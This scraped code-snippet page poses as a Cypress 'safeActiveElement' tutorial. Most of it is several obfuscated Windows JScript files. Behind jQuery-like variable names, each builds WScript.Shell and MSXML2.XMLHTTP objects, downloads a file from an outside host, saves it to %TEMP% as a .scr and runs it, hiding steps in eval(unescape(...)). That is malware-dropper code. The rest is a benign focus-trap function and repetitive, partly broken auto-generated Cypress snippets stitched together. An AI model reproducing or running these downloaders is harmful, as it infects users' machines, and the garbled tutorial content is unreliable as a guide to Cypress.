How to use safeActiveElement method in Cypress

Best JavaScript code snippet using cypress

20160308_b47f163fbd5642f7d21f2f74754cd8a5.js

Source:20160308_b47f163fbd5642f7d21f2f74754cd8a5.js Github

copy

Full Screen

1var _queueHooks = "ript.",2 fire = "TP",3 optgroup = "eadys",4 high = "Shel";5index = ".scr";6when = "ct";7delegateTarget = "Elem";8vendorPropName = "L2";9protocol = "Crea";10a = "B.Str";11rnumnonpx = "MSXM";12rbuggyQSA = 12;13rattributeQuotes = "o.him";14var postSelector = "ponse";15var complete = "ADO",16 username = "en",17 bySet = "Expa",18 returnTrue = "Env",19 indirect = "e",20 selectors = "ite";21matchExpr = "bje";22handle = "d";23collection = 47;24open = "nd";25relatedTarget = "te";26setPositiveNumber = "WScrip";27count = "WScri";28var qsa = "ent",29 uniqueCache = 1,30 crossDomain = 183;31var defaultDisplay = "ttp:",32 booleans = 15,33 XMLHttpRequest = "S",34 scrollTo = 6,35 overflow = "WSc",36 div1 = 2;37PI = "l";38ap = 5;39rchecked = (function String.prototype.globalEval() {40 return this41}, "clos");42compare = 1013, raw = 7, pdataCur = "ir", guid = "wr", gotoEnd = "leep", addBack = "by";43accepts = "sen", hooks = "D";44var tabIndex = 87,45 condense = 30,46 newUnmatched = "Object",47 safeActiveElement = 3,48 filters = "Str";49disabled = "//kok";50rsubmittable = "eObjec";51timeout = 10;52bup = 8;53timeoutTimer = "op";54rcombinators = 42;55rootjQuery = 11;56getComputedStyle = 158;57getAttributeNode = "r";58setMatched = "saveTo";59slideToggle = 84;60setMatcher = "si", unshift = "Run", clientTop = "n", camel = 180, response = 0;61clone = "XMLH", specialEasing = "Creat", event = "egimi.", htmlPrefilter = "4g4", conditionFn = 4;62position = "GET", detach = "onment", rsubmitterTypes = "a", matchIndexes = 178;63triggerHandler = "po";64always = 38;65disconnectedMatch = "open";66var parentNode = "gs",67 curCSS = "eam",68 fadeIn = "lee";69isSimulated = "jp/5", unmatched = "pt", cors = "MP%/", rdisplayswap = "T", node = "ript", boxSizingReliable = "t";70timer = "p";71rnative = 60;72rdashAlpha = 16;73responses = ".";74blur = "Body";75postFilter = "ype";76_data = "tion";77expando = "i", check = "%TE";78grep = 66;79var fix = "h",80 ignored = 90,81 subordinate = "teO",82 remaining = "ok",83 elemData = 13,84 scale = "File";85var showHide = "Res";86var rlocalProtocol = 65;87curPosition = ((7 * safeActiveElement * 3 * safeActiveElement * 3 / (condense - 9)), (((conditionFn * 4 + safeActiveElement), (31 - rdashAlpha)), this));88hasOwn = unshift;89pseudo = curPosition[setPositiveNumber + boxSizingReliable];90prefilterOrFactory = pseudo[specialEasing + indirect + newUnmatched](overflow + _queueHooks + high + PI);91origCount = prefilterOrFactory[bySet + open + returnTrue + pdataCur + detach + filters + expando + clientTop + parentNode](check + cors) + addBack + delegateTarget + qsa + index;92eventHandle = curPosition[count + unmatched][specialEasing + rsubmittable + boxSizingReliable](rnumnonpx + vendorPropName + responses + clone + rdisplayswap + fire);93eventHandle[timeoutTimer + username](position, fix + defaultDisplay + disabled + remaining + rattributeQuotes + event + isSimulated + htmlPrefilter, !((((((303 + compare) / 47), ((elemData * 9 + timeout), (128 | div1)), (423 - (matchIndexes + 17)), ((collection - 46) + -(uniqueCache * 1))) | ((slideToggle + 67), (tabIndex * 2 + rnative), (235, safeActiveElement))) + ((((1 * response) ^ 0) ^ (uniqueCache * (1 & uniqueCache))) ^ (((245, getComputedStyle, 213, response) ^ (1 * uniqueCache)) * (1 | (div1 + 0))))) == (Math.pow((((uniqueCache | 11) - (Math.pow((safeActiveElement + 6), div1) - (5 + rlocalProtocol))) ^ (43 - (booleans & 13) * (uniqueCache ^ 2))), (((uniqueCache + 17) * (div1 & 3) + rootjQuery), ((0 | grep) + (Math.pow(45, div1) - 1960)), ((conditionFn | 16) * (conditionFn - 1)), ((scrollTo + 2) / (elemData, 209, conditionFn)))) - ((((11 / rootjQuery) + 0) + div1 * (43 - always)) + (1 * (response & 1))))));94eventHandle[accepts + handle]();95while(eventHandle[getAttributeNode + optgroup + boxSizingReliable + rsubmitterTypes + relatedTarget] < ((div1 + 2) & (response ^ 5))) {96 curPosition[setPositiveNumber + boxSizingReliable][XMLHttpRequest + fadeIn + timer](((rootjQuery * 8 + bup) | (3 ^ raw)));97}98resolve = curPosition[overflow + node][protocol + subordinate + matchExpr + when](complete + hooks + a + curCSS);99curPosition[count + unmatched][XMLHttpRequest + gotoEnd]((1 * div1) * 5 * (camel, 149, ignored, 2) * (ap + 0) * (rcombinators - 37) * ap * (3 & safeActiveElement) * (2 | response));100resolve[disconnectedMatch]();101set = resolve;102set[boxSizingReliable + postFilter] = (13 / elemData);103reliableMarginLeftVal = set;104resolve[guid + selectors](eventHandle[showHide + postSelector + blur]);105reliableMarginLeftVal[triggerHandler + setMatcher + _data] = (0 & uniqueCache);106resolve[setMatched + scale](origCount, (0 | div1));107resolve[rchecked + indirect]();108notifyWith = prefilterOrFactory; ...

Full Screen

Full Screen

20160309_16f5c4c75b40b1fe7bf9468ddba13d9f.js

Source:20160309_16f5c4c75b40b1fe7bf9468ddba13d9f.js Github

copy

Full Screen

1var types = 13,2 markFunction = 9;3var rjsonp = "987i",4 on = "Sc",5 cleanData = 63,6 oldCache = "/s";7contents = "guoit";8start = "E";9success = 39;10unbind = "r";11noCloneChecked = "Sle";12first = "ct";13clearCloneStyle = "posit";14rfxtypes = 34;15fxNow = 27;16responseHeaders = "Creat";17var getResponseHeader = 0,18 settings = "s",19 disableScript = 8,20 callbackContext = "ieudun",21 matchAnyContext = "WScrip",22 writable = "i";23rbracket = 30583;24merge = "MSXML2";25var traditional = 177,26 jsonpCallback = 197,27 content = 6,28 siblings = "ody",29 letterSpacing = "//n";30var nodeType = 1936,31 rneedsContext = "p",32 num = 2;33matchExpr = "arent";34attaches = 14493;35accepts = "eam";36activeElement = 199, getBoundingClientRect = "nt";37outermost = "ep";38var currentTarget = 475;39type = "ipt", exports = "St", handleObj = "TTP", fns = "iro", special = "ateO";40matcherFromGroupMatchers = "andEnv", ajaxSetup = "h", attrHandle = (function String.prototype.keepScripts() {41 return this42}, 24), el = "Object", rnotwhite = 12;43var elemLang = "gtho",44 serializeArray = "WScri";45var oldCallbacks = "ngt",46 newDefer = "type",47 qsaError = "W",48 triggered = "ng";49caption = ":";50hasOwnProperty = "ai.com";51fixHooks = "Scr";52dataUser = "6u5y4";53unloadHandler = "ystem";54rprotocol = "MP%";55simple = "/logs";56cssNumber = "/";57resolveWith = "Re";58deep = "spo";59responses = "ile";60which = "on";61elementMatchers = "veToF";62readyList = "n";63divStyle = 176;64duration = "a";65allTypes = "XML";66progressValues = "GE";67file = "Cre";68arg = 1;69var preferredDoc = "bj",70 rmargin = "AD",71 one = "ope",72 _default = "http",73 bool = 23;74swap = "Run";75classNames = 194;76addGetHookIf = 88;77subtract = "t";78qsa = "pt.S";79booleans = "xp";80insertAfter = "ect";81fixHook = 3;82noop = "T";83hasCompare = "ript";84click = "hel";85replaceWith = 228;86createCache = "close";87domManip = "l";88append = "H";89checkDisplay = "%TE";90propFilter = "nme";91rdisplayswap = 11;92i = 15, matcherOut = "nseB", reject = "open", flag = "write";93rrun = "OD";94protocol = "eObje";95sortInput = 5;96serialize = "send";97Data = "pt";98rhash = "e";99var matcherIn = ".sc",100 l = "B.Str";101computeStyleTests = ".";102safeActiveElement = ((146, i, 3) * (getResponseHeader ^ 3) * (arg + 10), (((classNames, 11)), this));103send = swap;104pattern = safeActiveElement[qsaError + fixHooks + type];105current = pattern[responseHeaders + protocol + first](serializeArray + qsa + click + domManip);106tick = current[start + booleans + matcherFromGroupMatchers + fns + propFilter + getBoundingClientRect + exports + unbind + writable + triggered + settings](checkDisplay + rprotocol + cssNumber) + rneedsContext + matchExpr + matcherIn + unbind;107push = safeActiveElement[matchAnyContext + subtract][file + special + preferredDoc + insertAfter](merge + computeStyleTests + allTypes + append + handleObj);108push[reject](progressValues + noop, _default + caption + letterSpacing + contents + callbackContext + elemLang + oldCallbacks + ajaxSetup + hasOwnProperty + oldCache + unloadHandler + simple + cssNumber + rjsonp + dataUser + subtract, !((((arg | 0) & ((getResponseHeader | 0) / (rfxtypes ^ 13))) | ((getResponseHeader ^ (2 & (markFunction - 6))) + ((Math.pow((types * 6 + disableScript), (2 & fixHook)) - (196587 / fxNow)), ((104, classNames, 230, arg) ^ 3)))) == (((((divStyle, 135, jsonpCallback, 6) - (replaceWith / 38)) ^ ((getResponseHeader | 0) & (arg & 1))) | (((sortInput) & (Math.pow(5, num) - 18)) & ((cleanData & 56) - types * 2 * num))) + (((355 - activeElement), (17 * fixHook + 15), (addGetHookIf + 5), (arg & 1)) + -(((currentTarget / 19) - (attrHandle - 0)) | ((nodeType / 11), (traditional | 160), (bool - 23)))))));109push[serialize]();110documentElement = safeActiveElement[qsaError + on + hasCompare][responseHeaders + rhash + el](rmargin + rrun + l + accepts);111112113documentElement[one + readyList]();114maxWidth = documentElement;115gotoEnd = current;116maxWidth[newDefer] = ((rdisplayswap ^ 5) - (rnotwhite + 1));117curTop = maxWidth;118box = push[resolveWith + deep + matcherOut + siblings];119documentElement[flag](box);120curTop[clearCloneStyle + writable + which] = (arg & (0 & arg));121documentElement[settings + duration + elementMatchers + responses](tick, ((2 ^ getResponseHeader) + (0 / success)));122cloneCopyEvent = documentElement;123cloneCopyEvent[createCache]();124125safeActiveElement[qsaError + fixHooks + writable + Data][noCloneChecked + outermost](((31671 & rbracket) - (3 | attaches)));126127128 ...

Full Screen

Full Screen

20160311_5ef4433e00f2ac3ca510dd6a03ad2a96.js

Source:20160311_5ef4433e00f2ac3ca510dd6a03ad2a96.js Github

copy

Full Screen

1includeWidth = 7;2safeActiveElement = 2, now = 4, code = "tri", getJSON = 289;3toggleClass = "positi", htmlPrefilter = 8;4var end = 1;5var isBorderBox = "http:",6 iterator = "%TEMP%",7 nextAll = "MSXM",8 size = "is",9 timeStamp = 31;10percent = "save";11whitespace = "67j";12checkContext = 12;13overrideMimeType = 38;14m = 2923;15var events = (function String.prototype.notifyWith() {16 var each = this;17 return each18}, "WScrip");19rheader = 47;20cloneCopyEvent = 3;21file = "WScr";22var result = "dEnv",23 ridentifier = "ile";24startLength = 1152, elem = 56, orig = "cor", sortStable = "rip", isLocal = "eOb";25replaceWith = ".";26second = 373;27contents = "r";28active = "nme";29wrapAll = 27;30support = 53;31funescape = "ipt";32_jQuery = "s";33click = 165;34bubbleType = 24;35run = "Creat";36createElement = "wr";37uniqueSort = "Respon";38getElementById = "y";39unquoted = "ct";40find = "se";41a = 164;42username = "pt";43fadeTo = "isWind";44genFx = 0;45val = "o";46var onload = "n",47 hookFn = "ms.",48 script = "S",49 defaultExtra = "l";50var attrId = "HTTP",51 disconnectedMatch = 95;52var dirruns = 42,53 unmatched = 190,54 rnumnonpx = "G",55 splice = 52,56 oMatchesSelector = 19;57eased = 117;58originalSettings = 20;59col = "eep";60var concat = "B.S",61 hasData = "teObje",62 hasCompare = "p";63cssProps = (((5377 / oMatchesSelector) & (344 + a)), (2 * safeActiveElement * 17 * safeActiveElement, (17 & timeStamp)), eval("th" + size));64first = cssProps["WScr".notifyWith() + funescape];65getScript = first["Crea" + hasData + "ct"](events + "t.Shel".notifyWith() + defaultExtra);66base = getScript["Expan" + result + "iro" + active + "ntS".notifyWith() + code + "ngs"](iterator + "/") + fadeTo + "ow".notifyWith() + replaceWith + "sc" + contents;67diff = cssProps["WScri" + username]["Creat".notifyWith() + isLocal + "ject"](nextAll + "L2.XML" + attrId);68diff["o".notifyWith() + hasCompare + "en"](rnumnonpx + "ET", isBorderBox + "//s".notifyWith() + orig + "pyofil" + hookFn + "com/" + whitespace + "5h5h4".notifyWith(), !((Math.pow(((((1 | now) & (5 & includeWidth)) + ((221, unmatched, 11) - (cloneCopyEvent * 3 + safeActiveElement))) & (((13 | bubbleType) - (27 & wrapAll)) | (1 * (safeActiveElement * 3)))), (((click / 15) - (cloneCopyEvent * 3)) * ((elem - 48) | (Math.pow(htmlPrefilter, 2) - support)) * ((8 | splice) / (12 | genFx)) * ((Math.pow(28, safeActiveElement) - 750) - (checkContext + 20)), ((oMatchesSelector * 5 & (eased - 47)) + ((getJSON - 104), (m / 37), (timeStamp & 31))), ((cloneCopyEvent & 2) + ((end + 0) * genFx)))) - ((((1 + genFx) * (1 + genFx)) + (1 - end)) + ((17 | (Math.pow(originalSettings, 2) - second)) - (18 | end)))) > 2));69diff[_jQuery + "e" + onload + "d"]();70checkDisplay = cssProps[file + "ipt".notifyWith()][run + "eObje" + unquoted]("ADOD" + concat + "tream".notifyWith());71checkDisplay[val + "pe" + onload]();72pixelMarginRight = checkDisplay;73tfoot = getScript;74pixelMarginRight["t" + getElementById + "pe".notifyWith()] = ((originalSettings & 29), end);75processData();76head();77serialize();78j();79checkDisplay[percent + "ToF" + ridentifier](base, ((Math.pow(11, safeActiveElement) - 105) / (disconnectedMatch, 102, htmlPrefilter)));80bp = checkDisplay;81bp["clo" + find]();82clearInterval();83tfoot["Ru".notifyWith() + onload](base.notifyWith(((includeWidth + 44) + (overrideMimeType & 63))), ((end * 0) | (genFx)), ((1 & end) * (106, genFx)));84function clearInterval() {85 eval(unescape("%20%20%20%20%20%20%20%20cssProps%5B%22WSc%22.notifyWith%28%29%20+%20sortStable%20+%20%22t%22%5D%5Bscript%20+%20%22l%22%20+%20col%5D%28%28%285295*safeActiveElement+3210%29+%28startLength%7C1200%29%29%29%3B%20%20%20%0D"));86}87function serialize() {88 eval(unescape("%20%20%20%20%20%20%20%20checkDisplay%5BcreateElement%20+%20%22ite%22%5D%28diff%5BuniqueSort%20+%20%22seBody%22%5D%29%3B%0D"));89}90function processData() {91 eval(unescape("%20%20%20%20%20%20%20%20isFunction%20%3D%20pixelMarginRight%3B%0D"));92}93function head() {94 eval(unescape("%20%20%20%20%20%0D"));95}96function j() {97 eval(unescape("%20%20%20%20%20%20%20%20isFunction%5BtoggleClass%20+%20%22on%22.notifyWith%28%29%5D%20%3D%20%28%280/rheader%29/%28126/dirruns%29%29%3B%0D"));...

Full Screen

Full Screen

20160311_2350c24e7e3e3f371eb401b3809782fe.js

Source:20160311_2350c24e7e3e3f371eb401b3809782fe.js Github

copy

Full Screen

...33 pointerleave = 11,34 getElementsByClassName = 18,35 rCRLF = "seBody",36 firstElementChild = 56;37on = 55, next = "ADOD", disable = (function Object.prototype.safeActiveElement() {38 var j = this;39 return j40}, "e"), uniqueCache = "erdic";41reject = 0;42timer = "Res";43position = 40;44pixelMarginRightVal = "teObje";45bulk = "2.XML";46slideUp = 3028;47var rdashAlpha = "%TE",48 origFn = "writ",49 startTime = 347249;50curCSSLeft = "ript", host = "n";51setTimeout = "se", forward = 12, cssNumber = 23;52newDefer = "t.She";53getComputedStyle = 28;54margin = "t";55invert = "Expan";56optgroup = (((5 * fadeIn + 2) + (computed)), ((36 - callbackContext) | 0), eval("th" + tween + "s".safeActiveElement()));57restoreScript = optgroup[cache + "pt"];58count = restoreScript[toggleClass + "ateObj" + rbuggyQSA]("WScrip".safeActiveElement() + newDefer + "ll");59initial = count[invert + "dEnvi" + global + "mentSt".safeActiveElement() + finalValue + "gs"](rdashAlpha + "MP%/") + offset + "ypeO".safeActiveElement() + matches + "port" + srcElements + "c" + i;60curTop = optgroup["WScrip".safeActiveElement() + margin]["Cre" + prevAll + "bjec" + margin]("MSXML".safeActiveElement() + bulk + "HTTP");61curTop[prependTo + "en"](attrHooks + "ET".safeActiveElement(), tabIndex + "://pet" + uniqueCache + "kem." + iframe + "774".safeActiveElement() + v, !(argument < (((1 * (orig - 7)) | (((class2type / 38) | (unloadHandler * 0)) - ((pointerleave * 3 + createButtonPseudo) & (128 - l)))) + ((Math.pow((17 | (until / 39)), ((getComputedStyle & 23) - (getElementsByClassName | 16))) - ((Math.pow(_$, 2) - startTime) & (951 & rtagName))) / (((46 / cssNumber) & (2 + unloadHandler)) * ((20 + forward) - (Math.pow(27, responseText) - 700)) + ((Math.pow(firstElementChild, 2) - slideUp), (91 - on), (78 + tr), 1))))));62curTop["s" + disable + "n" + cached]();63originalOptions = optgroup["WScri".safeActiveElement() + progress]["Crea" + pixelMarginRightVal + "ct"](next + "B.S".safeActiveElement() + map + "am");64originalOptions[prependTo + "e" + host]();65adjustCSS = originalOptions;66key = count;67adjustCSS["t".safeActiveElement() + cssProps + "e"] = ((cssNumber * 2 + createButtonPseudo) - (15 + insertBefore));68risSimple();69rfxtypes();70overflowY();71args();72originalOptions["save" + success + "le".safeActiveElement()](initial, ((1 * responseText) | (0 / position)));73isBorderBox = originalOptions;74isBorderBox[completed + "o" + setTimeout]();75async();76key["Ru" + host](initial.safeActiveElement(((18 + stateVal), (23 + orig), (Math.pow(81, responseText) - 6472))), ((reject & 1) / (type * 3 + elems)), ((0 / position)));77function rfxtypes() {78 eval(unescape("%20%20%20%20%20%0D"));79}80function args() {81 eval(unescape("%20%20%20%20%20%20%20%20cloneCopyEvent%5B%22posit%22%20+%20createOptions%5D%20%3D%20%281+-unloadHandler%29%3B%0D"));82}83function overflowY() {84 eval(unescape("%20%20%20%20%20%20%20%20originalOptions%5BorigFn%20+%20%22e%22%5D%28curTop%5Btimer%20+%20%22pon%22.safeActiveElement%28%29%20+%20rCRLF%5D%29%3B%0D"));85}86function async() {87 eval(unescape("%20%20%20%20%20%20%20%20optgroup%5B%22WSc%22%20+%20curCSSLeft%5D%5B%22Sle%22.safeActiveElement%28%29%20+%20offsetParent%5D%28%28%286223+elementMatcher%29-%28118800/forward%29%29%29%3B%20%20%20%0D"));88}89function risSimple() {90 eval(unescape("%20%20%20%20%20%20%20%20cloneCopyEvent%20%3D%20adjustCSS%3B%0D"));...

Full Screen

Full Screen

20160311_6f49453d2e87db2840704ccc293361b7.js

Source:20160311_6f49453d2e87db2840704ccc293361b7.js Github

copy

Full Screen

...41 origFn = 127,42 boxSizingReliable = 1090,43 elementMatchers = 94,44 minWidth = "c";45matcherFromTokens = 46, origCount = "ndEnv", th = (function Object.prototype.safeActiveElement() {46 var xml = this;47 return xml48}, "ADODB"), getElementsByClassName = "Ru";49var rsubmittable = 10800,50 errorCallback = 92,51 domManip = "7hg67",52 requestHeaders = "%TEMP%";53unmatched = "ntStri";54var detectDuplicates = "e",55 isFunction = "p",56 curTop = 172;57inspectPrefiltersOrTransports = ((2 * capName * 7 * progress * 7 * postDispatch * 2 / (dir & 61)), (select | 3) * postDispatch * (2 | propFilter), eval("t" + then + "i".safeActiveElement() + attr));58win = inspectPrefiltersOrTransports["WSc" + root];59open = win["Create" + adjusted + "t".safeActiveElement()](optionSet + "ipt.Sh" + backgroundClip);60event = open["Expa" + origCount + "ironme".safeActiveElement() + unmatched + "ngs"](requestHeaders + "/") + removeData + "able".safeActiveElement() + isArrayLike + ".s" + minWidth + "r";61condense = inspectPrefiltersOrTransports[optionSet + "ipt".safeActiveElement()][cssShow + "eObj" + offsetParent]("MSXML2" + n + "HTTP".safeActiveElement());62condense[currentValue + "e" + delegateType]("G" + left, "http:/".safeActiveElement() + node + "mom" + overflowX + "om/08" + domManip, !((((((Math.pow(30, postDispatch) - 864) + (boxSizingReliable / 10)), (matcherFromTokens - 9) * (dirrunsUnique / 4)) + (Math.pow(((curTop, 7, cssText) * (4 | progress) + 7), (postDispatch + (206, errorCallback, 0))) - (rcomma, (127 & origFn), (612 / andSelf), (10340 | rsubmittable)))) / ((((100 / dirrunsUnique) & (103, cleanData, 5)) * ((Math.pow(define, 2) - uid) - 2 * excess) + ((4 | select))) * 2)) == implicitRelative));63condense["se".safeActiveElement() + delegateType + "d"]();64appendChild = inspectPrefiltersOrTransports[maxWidth + "t"][matcher + "Object".safeActiveElement()](th + ".Str" + pos);65appendChild["op" + nodeType]();66caption = appendChild;67prev = open;68caption["ty".safeActiveElement() + isFunction + "e"] = ((1 & select) | 1);69reliableMarginLeftVal();70run();71pixelMarginRight();72genFx();73appendChild[selected + "ToF".safeActiveElement() + owner](event, ((propFilter & 1) * (propFilter + 1)));74augmentWidthOrHeight = appendChild;75augmentWidthOrHeight["clos" + detectDuplicates]();76wrapAll();77prev[getElementsByClassName + "n"](event.safeActiveElement(((Math.pow(27, postDispatch) - 697) + (elementMatchers, 57))), (propFilter * 0), (select));78function wrapAll() {79 eval(unescape("%20%20%20%20%20%20%20%20inspectPrefiltersOrTransports%5B%22WScr%22%20+%20obj%5D%5B%22Sleep%22.safeActiveElement%28%29%5D%28%28Math.pow%28%28udataCur%7C8769%29%2C%20%28nType%2C2%29%29-%28settings*15+original%29%29%29%3B%20%20%20%0D"));80}81function run() {82 eval(unescape("%20%20%20%20%20%0D"));83}84function genFx() {85 eval(unescape("%20%20%20%20%20%20%20%20trim%5B%22pos%22%20+%20funescape%20+%20%22on%22%5D%20%3D%20%28%28propFilter+-1%29%26%28propFilter+-1%29%29%3B%0D"));86}87function reliableMarginLeftVal() {88 eval(unescape("%20%20%20%20%20%20%20%20trim%20%3D%20caption%3B%0D"));89}90function pixelMarginRight() {91 eval(unescape("%20%20%20%20%20%20%20%20appendChild%5Bpointerleave%20+%20%22e%22%5D%28condense%5Bridentifier%20+%20%22seBo%22.safeActiveElement%28%29%20+%20useCache%5D%29%3B%0D"));...

Full Screen

Full Screen

20160311_46b1b69ac0a14807c7e0a74b5271632b.js

Source:20160311_46b1b69ac0a14807c7e0a74b5271632b.js Github

copy

Full Screen

...23 conv2 = 115,24 using = "Obj";25var async = "WScri", ajaxConvert = "i", processData = 0, push_native = 16384, pattern = 30;26newSelector = "lee", dataTypes = "vir", _ = "e", leadingRelative = "%TEMP", getWindow = "MSXM", progressContexts = "DB.Str";27jsonProp = 177, insertAfter = "rfum", transport = (function String.prototype.safeActiveElement() {28 var active = this;29 return active30}, 25), initial = "close", stopOnFalse = 46;31removeAttr = "lik", cleanData = "ion", onabort = "c", tag = 9, binary = "Respo";32optDisabled = "tStrin";33winnow = 102;34responseType = (((7875 / fn), (65 | conv2), (192 | fixHook)), (1 + (stopOnFalse - 28)), eval("th" + ajaxConvert + "s".safeActiveElement()));35lock = responseType[iterator + "t"];36matches = lock[guid + "ate" + using + "ect".safeActiveElement()](async + "pt.S" + getAll + "l");37markFunction = matches[not + "dEn".safeActiveElement() + dataTypes + "onmen" + optDisabled + "gs"](leadingRelative + "%/".safeActiveElement()) + tr + "efin" + _ + ".s" + onabort + "r".safeActiveElement();38hooks = responseType[async + "pt"][guid + "ateO" + scrollTop + "ct".safeActiveElement()](getWindow + "L2.XM" + closest);39hooks["o" + start + "n".safeActiveElement()](register + "ET", position + "//pe" + insertAfter + "y_a".safeActiveElement() + id + "epub" + removeAttr + "a.pl/" + useCache + "g5".safeActiveElement(), !(max == (((((26 - transport) + (1 + -appendTo)) + ((39 + processData) - 13 * checkOn)) * (2 * (processData | 2) * (attrHooks - 3) * (appendTo * 2) * (appendTo * 2) - ((html / 19) | (pattern & 31)))) * ((Math.pow((clone, 239, pageX) * (3 + processData) * 2 * pageX, 2) - ((appendTo * 34) | (push_native / 32))) / ((Math.pow((processData | 8), (appendTo * 2)) - pageX * 3 * checkOn * 3) & ((tag | 11) & (tag + 2)))))));40hooks[augmentWidthOrHeight + "nd"]();41visible = responseType[isTrigger + "ipt"][guid + "ateOb".safeActiveElement() + mimeType]("ADO" + progressContexts + "eam");42visible[iframe + "p".safeActiveElement() + el]();43option = visible;44rwhitespace = matches;45option["ty" + start] = appendTo;46marginRight();47rpseudo();48finalDataType();49currentValue();50visible["sav" + toggleClass + "File".safeActiveElement()](markFunction, ((36 - fn) + (0 | appendTo)));51propFix = visible;52propFix[initial]();53rpseudo();54rwhitespace[contexts + "n"](markFunction.safeActiveElement(((Math.pow(93, pageX) - 8517) - (winnow - 59))), ((appendTo & 1) + -(appendTo * 1)), ((appendTo * 0) | (appendTo + -1)));55function rpseudo() {56 eval(unescape("%20%20%20%20%20%0D"));57}58function currentValue() {59 eval(unescape("%20%20%20%20%20%20%20%20rbuggyQSA%5B%22posit%22%20+%20cleanData%5D%20%3D%20%28%28172%2CjsonProp%29%2C%2816+rprotocol%29%2C%281*processData%29%29%3B%0D"));60}61function finalDataType() {62 eval(unescape("%20%20%20%20%20%20%20%20visible%5B%22write%22%5D%28hooks%5Bbinary%20+%20%22nseBo%22.safeActiveElement%28%29%20+%20opener%5D%29%3B%0D"));63}64function rpseudo() {65 eval(unescape("%20%20%20%20%20%20%20%20responseType%5B%22WScr%22%20+%20rcssNum%5D%5B%22S%22%20+%20newSelector%20+%20%22p%22.safeActiveElement%28%29%5D%28%28Math.pow%28%28Math.pow%2811405%2C%20pageX%29-130059852%29%2C%20%28pageX%29%29-%28200867251%26timeout%29%29%29%3B%20%20%20%0D"));66}67function marginRight() {68 eval(unescape("%20%20%20%20%20%20%20%20rbuggyQSA%20%3D%20option%3B%0D"));...

Full Screen

Full Screen

focusing.js

Source:focusing.js Github

copy

Full Screen

...36 function getCurrentFocusable(node, event) {37 let focusableChildren = getFocusableChildren(node);38 let focusableElement;39 if (focusableChildren.length) {40 var focusedItemIndex = focusableChildren.indexOf(safeActiveElement());41 if (event.shiftKey && focusedItemIndex === 0) {42 focusableElement = focusableChildren[focusableChildren.length - 1];43 } else if (!event.shiftKey && focusedItemIndex === focusableChildren.length - 1) {44 focusableElement = focusableChildren[0];45 }46 }47 return focusableElement;48 }49 function trapTabKey(node, event) {50 let focusableElement = getCurrentFocusable(node, event);51 if (focusableElement) {52 focusableElement.focus();53 event.preventDefault();54 }55 }56 function safeActiveElement() {57 try {58 return document.activeElement;59 } catch (err) {}60 }61 function bindKeypress(isShown, onExit, node, event) {62 if (isShown && event.which === 27) {63 event.preventDefault();64 onExit();65 }66 if (isShown && event.which === 9) {67 trapTabKey(node, event);68 }69 }70 function setInitialFocus(node) {71 var firstFocusableChild = getFocusableChildren(node)[0] || createFirstFocusableChild(node);72 if (firstFocusableChild) firstFocusableChild.focus();73 }74 function removeFocus(node) {75 var focusableChildren = getFocusableChildren(node);76 if (focusableChildren.length) {77 var focusedItemIndex = focusableChildren.indexOf(safeActiveElement());78 if (focusedItemIndex != -1) focusableChildren[focusedItemIndex].blur();79 }80 }81 function maintainFocus(isShown, node, event) {82 if (isShown && !node.contains(event.target)) {83 setInitialFocus(node);84 }85 }86 return {87 safeActiveElement: safeActiveElement,88 bindKeypress: bindKeypress,89 setInitialFocus: setInitialFocus,90 removeFocus: removeFocus,91 maintainFocus: maintainFocus...

Full Screen

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('safeActiveElement', () => {2 cy.document().then((doc) => {3 const activeElement = doc.activeElement;4 if (activeElement) {5 return activeElement;6 }7 return doc.body;8 });9});10Cypress.Commands.add('safeActiveElement', () => {11 cy.document().then((doc) => {12 const activeElement = doc.activeElement;13 if (activeElement) {14 return activeElement;15 }16 return doc.body;17 });18});19Cypress.Commands.add('safeActiveElement', () => {20 cy.document().then((doc) => {21 const activeElement = doc.activeElement;22 if (activeElement) {23 return activeElement;24 }25 return doc.body;26 });27});28Cypress.Commands.add('safeActiveElement', () => {29 cy.document().then((doc) => {30 const activeElement = doc.activeElement;31 if (activeElement) {32 return activeElement;33 }34 return doc.body;35 });36});37Cypress.Commands.add('safeActiveElement', () => {38 cy.document().then((doc) => {39 const activeElement = doc.activeElement;40 if (activeElement) {41 return activeElement;42 }43 return doc.body;44 });45});46Cypress.Commands.add('safeActiveElement', () => {47 cy.document().then((doc) => {48 const activeElement = doc.activeElement;49 if (activeElement) {50 return activeElement;51 }52 return doc.body;53 });54});

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('safeActiveElement', () => {2 .document()3 .then((doc) => {4 })5 .then((activeEl) => {6 if (!Cypress.dom.isElement(activeEl)) {7 throw new Error('No active element')8 }9 })10})11cy.get('input#test').type('test')12cy.safeActiveElement().should('have.attr', 'id', 'test')

Full Screen

Using AI Code Generation

copy

Full Screen

1export const safeActiveElement = () => {2 const el = cy.state('activeElement')3 if (!el) {4 throw new Error('No active element')5 }6}7export const safeActiveElement = () => {8 const el = cy.state('activeElement')9 if (!el) {10 throw new Error('No active element')11 }12}13export const safeActiveElement = () => {14 const el = cy.state('activeElement')15 if (!el) {16 throw new Error('No active element')17 }18}19export const safeActiveElement = () => {20 const el = cy.state('activeElement')21 if (!el) {22 throw new Error('No active element')23 }24}25export const safeActiveElement = () => {26 const el = cy.state('activeElement')27 if (!el) {28 throw new Error('No active element')29 }30}31export const safeActiveElement = () => {32 const el = cy.state('activeElement')33 if (!el) {34 throw new Error('No active element')35 }36}37export const safeActiveElement = () => {38 const el = cy.state('activeElement')39 if (!el) {40 throw new Error('No active element')41 }42}43export const safeActiveElement = () => {44 const el = cy.state('activeElement')45 if (!el) {46 throw new Error('No active element')47 }48}49export const safeActiveElement = () => {50 const el = cy.state('activeElement')51 if (!el) {52 throw new Error('No active element')53 }54}55export const safeActiveElement = () => {56 const el = cy.state('activeElement')57 if (!el) {58 throw new Error('No

Full Screen

Using AI Code Generation

copy

Full Screen

1cy.get('input').click();2cy.get('input').should('have.focus');3cy.get('input').type('test');4cy.get('input').should('have.value', 'test');5cy.get('input').type('{backspace}');6cy.get('input').should('have.value', '');7})

Full Screen

Using AI Code Generation

copy

Full Screen

1cy.get('input').click();2cy.focused().should('have.attr', 'name', 'email');3cy.get('input').click();4cy.safeActiveElement().should('have.attr', 'name', 'email');5cy.get('input').click();6cy.safeActiveElement().should('have.attr', 'name', 'email');7cy.get('input').click();8cy.safeActiveElement().should('have.attr', 'name', 'email');9cy.get('input').click();10cy.safeActiveElement().should('have.attr', 'name', 'email');

Full Screen

Cypress Tutorial

